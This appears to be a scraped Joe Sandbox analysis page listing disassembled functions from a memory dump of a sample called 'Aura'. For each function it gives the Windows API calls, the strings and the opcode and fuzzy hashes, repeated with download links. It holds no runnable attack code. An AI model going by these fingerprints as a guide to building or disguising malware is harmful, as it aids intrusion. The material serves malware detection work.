Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c094025714d4a62ef9f9e155bd419eba1d4503aa607507c82e18c3d360e53874
Instruction ID: 25ef36feda172ae1d6316b8977cc5b3f302efa457fc67753f51effb171393393
Opcode Fuzzy Hash: c094025714d4a62ef9f9e155bd419eba1d4503aa607507c82e18c3d360e53874
Instruction Fuzzy Hash: 01F0E93160152067AF615B669C05BDAB7C9AF51B70F244123BC04E6191EE30DD00D7A1

Function 000A7770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 000A77C6

Part of subcall function 000AAF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,000A78DA,00000000), ref: 000AAF72

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: 6b4551c0b21b85b46f9a69bb3344534ee0d7110c0c3b5bbabaa2d238021bb118
Instruction ID: b0441994f1aeca1bda044e5fe74b217bd46f32d22b556cef764aa44f65e1dea2
Opcode Fuzzy Hash: 6b4551c0b21b85b46f9a69bb3344534ee0d7110c0c3b5bbabaa2d238021bb118
Instruction Fuzzy Hash: 470178B1D002499BDB00EF84D8057DEBBB4FB05720F00423AE80967381E339AA45CBD2

Function 000BBF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,000BDF35,?,?,000BDF35,00000220,?,00000000,?), ref: 000BBF43

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ef83b3452a67bdf4f138616c5b0688f75b3d4f36aeaf54946cfbbc7716aa46bb
Instruction ID: 20d7bd8f3aac5115fb6bc7165e8880ed3905afba07632288374c2e38c4e859cd
Opcode Fuzzy Hash: ef83b3452a67bdf4f138616c5b0688f75b3d4f36aeaf54946cfbbc7716aa46bb
Instruction Fuzzy Hash: 2CE0653110551367EB712A659C00BFF37C89F417A0F150172FC1D96291DFE0DC00DAA5

Function 000A98F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 000A990F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1b6d241cc4fb1f9b0dd9b5caae692abe6c874d92ae031cbf69de18d0bfb40eab
Instruction ID: 13aea30754f3e80cbe98e4728a5a922993a2d653a3563d4fb03cedb00f2cabbe
Opcode Fuzzy Hash: 1b6d241cc4fb1f9b0dd9b5caae692abe6c874d92ae031cbf69de18d0bfb40eab
Instruction Fuzzy Hash: 81D0A739B015348F4714BB7CE81486E7395FFC972035A085EE840D7346CB28DC428BD0

Non-executed Functions

Function 000C1287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 000C138F
IsValidCodePage.KERNEL32(00000000), ref: 000C13CD
IsValidLocale.KERNEL32(?,00000001), ref: 000C13E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 000C1428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 000C1443

Strings

,K, xrefs: 000C133C

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K
API String ID: 415426439-2737474789
Opcode ID: 5c9a5690f162d1d2b49238038267472de92bb8fd2aeed4d6cb7992944b04b07c
Instruction ID: 503a076f0861a96d20e783e9545d4de9ecd99f2d95e561a8483d9d6e3f0a2e60
Opcode Fuzzy Hash: 5c9a5690f162d1d2b49238038267472de92bb8fd2aeed4d6cb7992944b04b07c
Instruction Fuzzy Hash: F8516B71A00216ABEB60EFA5CC45FFE77B8AF06704F14446EF905EB192E7709A41CB61

Function 000C7792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 000C79A9

Strings

1#QNAN, xrefs: 000C78A5
1#INF, xrefs: 000C78C8
1#SNAN, xrefs: 000C789E
1#IND, xrefs: 000C7897

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 82f7a209115165d5d645a588057b10ca7e6f4e1ee6852967bc2f3ee16db1e686
Instruction ID: 2959923258af2f8f8786ca87b6e8e72d3f5ac78af40884acf805ab665bb721e9
Opcode Fuzzy Hash: 82f7a209115165d5d645a588057b10ca7e6f4e1ee6852967bc2f3ee16db1e686
Instruction Fuzzy Hash: 74D21672E086298BDB65CF28CD44BEEB7F5EB44305F1441EAD40DA7240EB78AE858F45

Function 000C1A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,000C13BD,00000002,00000000,?,?,?,000C13BD,?,00000000), ref: 000C1AA0
GetLocaleInfoW.KERNEL32(?,20001004,000C13BD,00000002,00000000,?,?,?,000C13BD,?,00000000), ref: 000C1AC9
GetACP.KERNEL32(?,?,000C13BD,?,00000000), ref: 000C1ADE

Strings

OCP, xrefs: 000C1A5B
ACP, xrefs: 000C1A25

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 44480b048ff8173efdc9466ef31d6e3659c5c5b0a5dd4ef83a7aef351cbcdea3
Instruction ID: c443a44740d2f7e57ebe9216f0cfb535656bd4d06e068a57a1795c44f523445c
Opcode Fuzzy Hash: 44480b048ff8173efdc9466ef31d6e3659c5c5b0a5dd4ef83a7aef351cbcdea3
Instruction Fuzzy Hash: 85216232A06100AAE774CB54C900FDF73EAEF56B54B56846DE90AD7216E732DD40C752

Function 000B9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 03eddda0b4bb5e0c87c425c40f5d660c5c5031d488aa6ab431d8ae86b7d2b0ce
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 5C023971E012199BDF14CFA9C880AEEBBF5FF49314F248269E519E7341D731AA45CB90

Function 000C1FE9 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 000C20D9
FindNextFileW.KERNEL32(00000000,?), ref: 000C21CD
FindClose.KERNEL32(00000000), ref: 000C220C
FindClose.KERNEL32(00000000), ref: 000C223F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: eb581e71afae62e7545fb1e1366232cb1fe2b0defec161245fbc7e9f60678aff
Instruction ID: caa65ab1f99ba0587876ecd6342e553815c4aec4c0d46d79d8f94f026c84952c
Opcode Fuzzy Hash: eb581e71afae62e7545fb1e1366232cb1fe2b0defec161245fbc7e9f60678aff
Instruction Fuzzy Hash: 6C71E2B1905158AFDF71AF288C89FFEB7B9AB05300F1441EEE558A3212DB358E858F10

Function 000AF8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 000AF8F5
IsDebuggerPresent.KERNEL32 ref: 000AF9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000AF9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 000AF9E4

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c2622ce1d0a21ab61ee2d4bde1f5df48fc08367573dd93352a05aeb4800c9336
Instruction ID: 966f81ca87a5cc2307b2e5b4eef77f5aaacc747b7d7fe136791d1e5486848775
Opcode Fuzzy Hash: c2622ce1d0a21ab61ee2d4bde1f5df48fc08367573dd93352a05aeb4800c9336
Instruction Fuzzy Hash: 3E31F775D02219DBDF21DFA4D9497CDBBB8AF08300F1041EAE40CAB250EB759A848F85

Function 000C1580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000C15D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000C161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000C16E4

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 13af3edd389640a10f6fccec86352ebdb3b3ad3afb8aebaf7236e8f589923118
Instruction ID: e13bbd1933de0327d179345d85aac32ecf9d26a44524368ab941d8ae5eb91196
Opcode Fuzzy Hash: 13af3edd389640a10f6fccec86352ebdb3b3ad3afb8aebaf7236e8f589923118
Instruction Fuzzy Hash: A1616E715141079BEB689F24CD82FFE77E8EF06700F14427AE905C6186EB34D951DB50

Function 000B7E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 000B7F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 000B7F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 000B7F3F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d1edd6eea0b96700bd3581ad1dbd99fdcd5ca731cf9bb0893e7e9c481be217ba
Instruction ID: 77e10590e63104766131d7940bff344f80e9e8b1a7f05a5f4b48320e81029852
Opcode Fuzzy Hash: d1edd6eea0b96700bd3581ad1dbd99fdcd5ca731cf9bb0893e7e9c481be217ba
Instruction Fuzzy Hash: 0A31D274901229ABCB61DF64DC887DDBBB8BF18310F5041EAE80CA7291EB349F858F45

Function 000B00B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 000B00EC
GetSystemTimeAsFileTime.KERNEL32(?,F7EDDA51,000A8E30,?,000CBE77,000000FF,?,000AFDB4,?,00000000,00000000,?,000AFDD8,?,000A8E30,?), ref: 000B00F0

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 9531d8f34378765e017b170cf5793d8cab7595f939d559f7e953d597c11d65a6
Instruction ID: 00ca42bd92f9c26b9312498e1b316a211ee5ddcf269e3dcaf30ea4bbec2c909b
Opcode Fuzzy Hash: 9531d8f34378765e017b170cf5793d8cab7595f939d559f7e953d597c11d65a6
Instruction Fuzzy Hash: B1F06536A49654EFD7119F44DC01F9EB7A8FB08B10F05012BEC1297790DB39A900DB90

Function 000C5C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,000C5BB9,?,?,00000008,?,?,000CBCAB,00000000), ref: 000C5E8B

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d31db18d0993bba953b30fd29987a9647ec30ac99b6f295ae1bd842857b1b554
Instruction ID: 0ad92a350295029fb3c8e02c20f87280691c3df701c9a694ac9a99b1550f3300
Opcode Fuzzy Hash: d31db18d0993bba953b30fd29987a9647ec30ac99b6f295ae1bd842857b1b554
Instruction Fuzzy Hash: B6B15F35110A089FD769CF28C88AF597BE0FF45365F25865CE89ACF2A1C735E982CB40

Function 000AF555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 000AF56B

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3bdf81b261d83519d242084b37da79df048b1a60d023c19ed229aeecc3303e23
Instruction ID: 0a9c80988215dd30fd73d7f8de5414f26d671764eb3e3f86b2cc6e775f9a0818
Opcode Fuzzy Hash: 3bdf81b261d83519d242084b37da79df048b1a60d023c19ed229aeecc3303e23
Instruction Fuzzy Hash: 7BA17FB2902606CBEB18DF98D8817ADBBF5FB49354F25812BD811E73A0D7789944CF60

Function 000C1840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 000BC16A: GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
Part of subcall function 000BC16A: SetLastError.KERNEL32(00000000), ref: 000BC210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000C1894

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: df96e3394c0a1e838e7acc8b50c776929a27e10a93d8f99e72ac9d00a968fc8e
Instruction ID: 1b4cd73b06fac2b165957cc478af559516ede94b35658325b5e76ca7b81d6950
Opcode Fuzzy Hash: df96e3394c0a1e838e7acc8b50c776929a27e10a93d8f99e72ac9d00a968fc8e
Instruction Fuzzy Hash: 2A216072615206ABEB289B69DC41FFE77A8EF06711B10407EFD02D6183EB389D459A50

Function 000B3FB2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 000B4136

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
